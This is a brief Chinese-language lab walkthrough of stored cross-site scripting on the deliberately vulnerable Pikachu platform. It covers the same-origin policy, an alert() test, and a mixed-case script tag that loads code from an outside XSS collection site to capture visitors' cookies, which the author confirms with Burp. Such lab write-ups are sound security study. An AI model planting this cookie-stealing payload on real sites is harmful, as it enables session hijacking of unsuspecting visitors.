cookie为了安全存在同源策略(浏览器的同源策略，限制了不同源的Js，对当前页面的资源和属性的权限。保护了a.com域名下的资源不被来自其他页面脚本被读取或篡改)

 

攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客，都有可能会执行这段恶意脚本，因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中，可以说是永久型的。

存储型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。

打开pikachu平台的存储型xss  输入东西发现发会存在页面上，也就是会永久保存这样我们就可以使用存储型xss

                

 

这时候我们看到，他并没有做任何处理。

    

 

 这时候输入<script>alert(111)</script>.有弹窗。

 

这个时候我们输入<sCRiPt/SrC=//xs.sb/QX9N> 语句。这个是连接到外部xss平台的。我们就可以在平台上看到我们自己访问的cookie值。用burp拦截发现cookie一致。

  

 

 

                   

 

 

最后我把这条payload删除掉了，因为他是永久存储在数据库中。防止以后使用时会发生不便情况